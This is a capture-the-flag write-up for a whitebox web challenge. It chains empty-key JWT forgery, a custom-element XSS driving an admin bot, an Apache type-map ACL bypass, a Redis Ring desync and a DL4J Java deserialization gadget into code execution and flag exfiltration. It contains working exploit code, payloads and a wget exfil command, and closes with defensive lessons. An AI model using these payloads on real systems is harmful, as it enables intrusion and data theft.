Signetry
Five chained bugs — empty-key JWT forgery, bot-driven stored XSS, a Redis Ring routing desync, and a Java deserialization gadget — end in RCE and flag exfiltration.
Signetry — Whitebox Chain Writeup
| | |
|---|---|
| Challenge | Signetry (a.k.a. Crownspire) |
| Platform | HackTheBox-style whitebox |
| Category | Web / Secure code review → deserialization RCE |
| Difficulty | Hard |
| Stack | Apache 2.4 · Go 1.26 (gin) · Java 11 (DL4J 1.0.0-M2.1) · Redis · React 18 · headless Chrome |
| Techniques | Empty-key JWT forgery · sharded-cache state desync · Apache type-map internal-redirect ACL bypass · React/html-react-parser mutation XSS · Java ObjectInputStream deserialization (CWE-502) |
| Date | 2026-07-27 |
> Cyber Apocalypse 2026 has concluded.
---
TL;DR
Five bugs, chained. A JWT signed with an empty key hands over the maintainer account. A stored XSS in the appeal queue — smuggled past a React sanitizer with a custom element + CSS animation — makes an internal warden bot reset a curator password, which is the only role allowed to finalize a model. A Redis Ring routing bug lets an uploaded model skip security review entirely. Finalizing that model reaches a Java registry that deserializes an attacker-controlled preprocessor.bin with a raw ObjectInputStream, giving remote code execution and the flag.
empty-key JWT ─▶ maintainer
│ plants XSS appeal + triggers bot
▼
warden bot (service) ─▶ resets conservator ─▶ curator
│
ring desync: stage+withdraw ─▶ "sealed" model, review skipped
│
curator /finalize ─▶ Java registry deserializes preprocessor.bin ─▶ RCE ─▶ /flag.txt
---
Architecture
One container, four services behind a single port:
:4000 (host) ─▶ :1337 Apache ──ProxyPass──▶ :8090 Go/gin gateway (crownspire)
│ │
│ Alias /uploads │ REGISTRY_INTERNAL_TOKEN
▼ ▼
/var/www/uploads :1338 Java registry (signetry, DL4J)
│
headless Chrome ◀── /internal/queue │ Redis shards :6379 / :6380
"wardenbot" (logs in as warden)
- Apache terminates the public port, proxies everything to the gateway except
/uploads(served from disk), and enforces one ACL: amod_rewritedeny on/internal. - Gateway (Go/gin) is the app: auth, model staging/sealing, appeals, the credential-reset admin endpoint, and loopback-only
/internal/*endpoints that drive the bot. - Registry (Java) is internal-only. It certifies sealed models and, in a background "preview" thread, loads them with DL4J's
ModelSerializer. - wardenbot is a headless Chrome that polls an internal queue and visits whatever path is queued, authenticated as
[email protected]. - Redis stores staged model blobs and their review-state markers across two shards.
The flag is /flag.txt (mode 0444); the Java registry runs as the unprivileged user registry.
---
Bug 1 — Maintainer takeover via an empty-key JWT
Root cause
The gateway builds its authenticator on qor/auth without ever setting a token-signing secret:
// crownspire/internal/auth/authenticator.go
qor := qorauth.New(&qorauth.Config{DB: gormDB})
qor/auth's constructor defaults SessionName and SigningMethod (HS256) but leaves SignedString empty. Its ValidateClaims therefore verifies the token's HMAC against []byte(""):
// qor/auth session_storer.go
token, err := jwt.ParseWithClaims(tokenString, &claims.Claims{}, func(t *jwt.Token) (interface{}, error) {
if t.Method != sessionStorer.SigningMethod { return nil, fmt.Errorf("unexpected signing method") }
return []byte(sessionStorer.SignedString), nil // == []byte("")
})
The password-reset handler then trusts the jti claim as the account to reset, and only gates on it being the maintainer:
// authenticator.go — ResetPassword
uid := claims.Id // jti
if uid != MaintainerLogin { ... } // MaintainerLogin = "[email protected]"
a.setPassword(uid, newPassword)
Anyone who can HMAC-SHA256 with an empty key — i.e. anyone — can mint a valid reset token for [email protected].
PoC
import base64, hmac, hashlib, json
b = lambda x: base64.urlsafe_b64encode(x).rstrip(b"=")
h = b(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
p = b(json.dumps({"jti":"[email protected]"}).encode())
sig = b(hmac.new(b"", h+b"."+p, hashlib.sha256).digest())
print((h+b"."+p+b"."+sig).decode())
$ curl -sX POST $T/auth/password/update -H 'Content-Type: application/json' \
-d '{"reset_password_token":"<JWT>","new_password":"Pwn3d!"}'
{"status":"password updated","user":"[email protected]"}
$ curl -sX POST $T/api/login -H 'Content-Type: application/json' \
-d '{"login":"[email protected]","password":"Pwn3d!"}'
{"session":"54c9dfcb…","user":"[email protected]"}
We now hold maintainer, which grants staging, appeals, and attachment upload — but not model finalization.
---
Bug 2 — Curator escalation via a bot-driven stored XSS
The role wall
Finalizing a model needs model:finalize, held only by curator:
// auth/identity.go
RoleCurator: { PermissionRead:true, PermissionReviewAppeals:true, PermissionModelFinalize:true },
RoleService: { PermissionRead:true, PermissionReviewAppeals:true, PermissionCredentialReissue:true },
The only curator is [email protected] with a random password. Resetting it needs credential:reissue, held only by service — i.e. [email protected], whose password is also random and only used by the internal bot. So the attack is: get the warden bot to reset the curator for us. canReissueCredential permits exactly this pairing (service actor → curator target).
The XSS sink and the sanitizer that doesn't sanitize
Appeal bodies are rendered with html-react-parser, filtered only by an element-name blocklist:
// MemoryBank.jsx
const BLOCKED_APPEAL_ELEMENTS = new Set(['iframe','frame','frameset','object','embed','meta','base','link','script']);
const APPEAL_PARSE_OPTIONS = { replace(node){ if (BLOCKED_APPEAL_ELEMENTS.has(node.name)) return <></>; } };
// ...
{parse(a.body, APPEAL_PARSE_OPTIONS)}
The blocklist is exactly the set of auto-loading elements. Everything else — including inline event handlers — is passed to React. And the gateway CSP notably allows script-src-attr 'unsafe-inline', which is the hint: inline handlers are the intended vector.
The dead end (worth showing)
The obvious payload <img src=x onerror=…> does not fire. React 18 strips string on* handlers from known elements. Rendering it through the exact client stack confirms it:
"<img src=x onerror=\"fetch('/x')\">" => <div><img src="x"></div> // handler gone
React keeps on* only on custom (hyphenated) elements, and keeps javascript: URLs — but every auto-navigating element that could abuse those is on the blocklist.
The vector that works
A custom element is still an HTMLElement, so it carries GlobalEventHandlers (including the CSS-animation events). A CSS animation on that element fires animationstart at render — no interaction, no blocklisted tag, and React leaves the handler intact because the tag is custom:
<style>@keyframes _p{from{opacity:.99}to{opacity:1}}</style>
<d-x style="animation:_p 1s"
onanimationstart="fetch('/admin/credential/reset',{method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({uid:'[email protected]',new_password:'Curator123!'})})"></d-x>
Verified intact through html-react-parser + React on a real DOM:
onanimationstart present: true
style present: animation: _p 1s;
@keyframes present: true
Reaching the bot — Apache type-map internal-redirect ACL bypass
The bot only visits paths on an internal queue, filled by POST /internal/dispatch. Two guards stand in the way:
// handler.go — gin RemoteIP is the TCP peer (Apache), so this passes for proxied requests
internal := r.Group("/internal", loopbackOnly())
# apache/signetry.conf — deny /internal, but exempt subrequests and internal redirects
RewriteCond %{IS_SUBREQ} =false
RewriteCond %{ENV:REDIRECT_STATUS} =""
RewriteRule ^/internal(/|$) - [F]
loopbackOnly() is satisfied because gin sees Apache (127.0.0.1) as the peer. The rewrite deny is the real gate — but it exempts internal redirects (REDIRECT_STATUS set). /uploads has AddHandler type-map .var, and mod_negotiation's type-map handler ends in ap_internal_redirect(), which sets REDIRECT_STATUS. So a type-map whose variant URI points at /internal/dispatch slips straight past the deny:
$ printf 'URI: ../internal/dispatch\nContent-Type: text/plain; qs=1.0\n' > t.var
$ curl -sX POST "$T/api/attachments?name=t.var" -H "Authorization: $SID" --data-binary @t.var
{"path":"/uploads/t.var"}
$ curl -s "$T/uploads/t.var"
{"status":"queued for review"} # ← /internal/dispatch answered through the redirect
/admin is now queued. The bot logs in as warden, visits /admin, the React app auto-opens the review queue for the service role, our appeal renders, the animation fires, and the reset runs as warden:
[+] conservator session: 763b40a944… (role=curator)
We now hold curator.
---
Bug 3 — Skipping model review via a Redis Ring desync
Root cause
Staged models live in Redis behind a go-redis Ring (client-side sharding). Staging writes three keys with three independent Set calls, so each key hashes to whichever shard the Ring picks for it:
// store/store.go
d.ring.Set(ctx, fmt.Sprintf(blobKey, token), model, ttl) // model:blob:<t>
d.ring.Set(ctx, fmt.Sprintf(unsealedKey, token), "1", ttl) // model:unsealed:<t>
d.ring.Set(ctx, fmt.Sprintf(intakeKey, token), "1", ttl) // model:intake:<t>
Withdraw deletes all three in a single multi-key DEL:
func (d *Drafts) Withdraw(ctx context.Context, token string) (int64, error) {
return d.ring.Del(ctx, unsealedKey, intakeKey, blobKey).Result()
}
But go-redis's Ring routes a multi-key command by the first key only:
// go-redis ring.go
firstKey := cmd.stringArg(pos)
return c.sharding.GetByKey(firstKey) // only unsealedKey's shard is targeted
So DEL runs on the shard that owns model:unsealed:<t> and silently misses any of the three keys that hashed to the other shard. Sealed() is defined as "both markers absent":
func (d *Drafts) Sealed(ctx, token) bool {
return unsealed-absent && intake-absent
}
Whenever the blob key lands on the opposite shard from the markers, stage + withdraw leaves the blob alive while both markers are deleted → the model is "sealed" without ever passing Seal's review (review.Review, the elaborate double zip parser, is never invoked). Roughly a 1-in-4 outcome per random token; GET /api/versions/<token> reveals it (exists:true, stage:approved).
> The whole review.Review() central-directory-vs-local-header zip-parsing puzzle is a decoy: this bug bypasses review entirely.
PoC
while True:
t = stage(malicious_model) # POST /stage
withdraw(t) # POST /withdraw
v = versions(t) # GET /api/versions/<t>
if v["exists"] and v["stage"] == "approved":
if finalize(t) == 202: # POST /finalize (curator)
break # blob survived + markers gone
---
Bug 4 — RCE via DL4J preprocessor.bin deserialization (CWE-502)
Root cause
Finalizing ships the sealed blob to the Java registry, which validates then previews it:
// CertifierService.java
ValidationResult vr = DL4JModelValidator.validateMultiLayerNetwork(tmp.toFile()); // JSON only
...
MultiLayerNetwork net = ModelSerializer.restoreMultiLayerNetwork(model.toFile(), false);
A DL4J model is a zip. restoreMultiLayerNetwork reads the preprocessor.bin entry with a raw ObjectInputStream, before it ever checks the config/coefficients:
// deeplearning4j ModelSerializer (1.0.0-M2.1)
byte[] prep = zipFile.get(PREPROCESSOR_BIN);
if (prep != null) {
ObjectInputStream ois = new ObjectInputStream(stream);
preProcessor = (DataSetPreProcessor) ois.readObject(); // <-- CWE-502
}
The validator only parses configuration.json and requires a coefficients.bin entry to exist — it never reads its bytes, and it permits extra entries. So a model with a genuine configuration.json, a zero-byte coefficients.bin (which makes restore skip Nd4j.read, so nothing throws before the readObject), and a malicious preprocessor.bin passes validation and detonates on preview.
Gadget selection
The victim classpath (/app/libs) rules out the usual suspects: no commons-collections (CC4 is explicitly excluded in pom.xml, CC3 absent), no commons-beanutils, groovy, spring, or rome. The only deserialization trigger available is shaded Jackson (org.nd4j.shade.jackson, 2.13.x, in jackson-1.0.0-M2.1.jar):
BadAttributeValueExpException.readObject()
└─ val.toString() // POJONode
└─ Jackson serializes the bean // TemplatesImpl
└─ getOutputProperties() → newTransformer() → defineTransletClasses()
└─ translet <clinit> → Runtime.exec(cmd)
The trap that actually mattered
Building this chain naively self-destructs in the builder. Jackson ≥ 2.10 added BaseJsonNode.writeReplace(), which eagerly serializes the node via NodeSerialization the instant you writeObject it — firing getOutputProperties() in your JVM and replacing the node with a useless JSON proxy. The tell was an NPE deep in AbstractTranslet.postInitialization originating from the generator's own oos.writeObject.
Fix: null the cached writeReplace method on the node's ObjectStreamClass before serializing, so ObjectOutputStream writes the POJONode in plain object form (its _value = the TemplatesImpl). The chain then fires on the target's readObject → val.toString(), exactly where it should:
static void neutralizeWriteReplace(Class<?> cls) throws Exception {
ObjectStreamClass osc = ObjectStreamClass.lookup(cls);
Field f = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
f.setAccessible(true);
f.set(osc, null); // ObjectOutputStream reuses this cached descriptor
}
The translet's static initializer exfiltrates the flag back through the gateway's own upload endpoint (no external egress needed), which we then read from /uploads:
wget -q --header='Authorization: <maintainer SID>' --post-file=/flag.txt \
'http://127.0.0.1:8090/api/attachments?name=flag_xxxx.txt'
Proof
[+] finalized token 3e8f… on attempt 7 -> certifier will deserialize it
[*] reading exfiltrated flag from /uploads
[+] FLAG: HTB{INSERT_YOUR_CAPTURED_FLAG}
Container-side confirmation — note that preview failed here is success: the translet ran first, then restore throws on the empty coefficients:
[certifier] preview failed: RuntimeException
---
Full PoC
Four files, fully automated (run.sh brings the box up and dumps the classpath; exploit.py runs all five stages; GenModel.java builds the model/gadget inside a JDK container against the target's own libs; README.md documents it):
$ bash signetry-exploit/run.sh # local build + classpath dump
$ python3 signetry-exploit/exploit.py # local run
$ python3 signetry-exploit/exploit.py --target http://TARGET:PORT # remote spawn
The exploit is idempotent per stage, caches the copied /app/libs, and rebuilds the model with each run's fresh maintainer session baked into the exfil.
---
Lessons & defenses
- Never construct an auth library with defaults for the signing secret.
qor/authwith noSignedStringverifies against an empty key. Require a secret at startup and fail closed; the gateway already does this forREGISTRY_INTERNAL_TOKEN— the same discipline was missing for JWTs. - Client-side sharded caches are not transactional.
go-redisRing routes multi-key commands by the first key, so aDELacross keys on different shards is not atomic and not complete. Key security-state markers by a hash tag ({token}) so all keys co-locate, or delete each key with its own command and verify. Never derive an authorization state ("sealed") from the absence of markers you can't guarantee you deleted. - Allowlist HTML, don't blocklist tags. An element-name blocklist over
html-react-parsermisses attribute-based and mutation vectors (custom-element + CSS-animation here). Sanitize with a library that strips event handlers and unknown attributes (DOMPurify), and don't rely on React's incidental stripping. - Type-maps turn
/uploadsinto a request-forgery primitive.AddHandler type-map .varon a user-writable directory lets an attacker drivemod_negotiationinto arbitrary internal redirects, bypassingmod_rewriteACLs that (necessarily) exempt internal redirects. Don't enable type-maps on upload dirs; gate internal endpoints by an authenticated shared secret, not by "looks like loopback." - Loading a model is executing untrusted input. DL4J's
ModelSerializerdeserializespreprocessor.binwith a rawObjectInputStream. Any "load a model file" surface is an RCE sink. Set a strictObjectInputFilter/allowlist, validate archive contents before loading, and treat model files from users as hostile.
---
Tools used
| Tool | Purpose |
|---|---|
| Manual source review (Go/Java/Apache/React) | Find and chain the five bugs |
| Python (stdlib) | Orchestrate the full chain, forge the JWT, race the ring |
| html-react-parser + React (local harness) | Empirically confirm which XSS vectors survive rendering |
| eclipse-temurin:11-jdk container | Build the model + gadget against the target's exact /app/libs |
| Custom Java gadget generator | Shaded-Jackson TemplatesImpl payload with writeReplace neutralized |
| Docker / Docker Compose | Stand up the challenge locally for whitebox iteration |
Something wrong with this page?
Wrong details, a stolen writeup, or something that should not be published here — tell a moderator. This does not go to the author.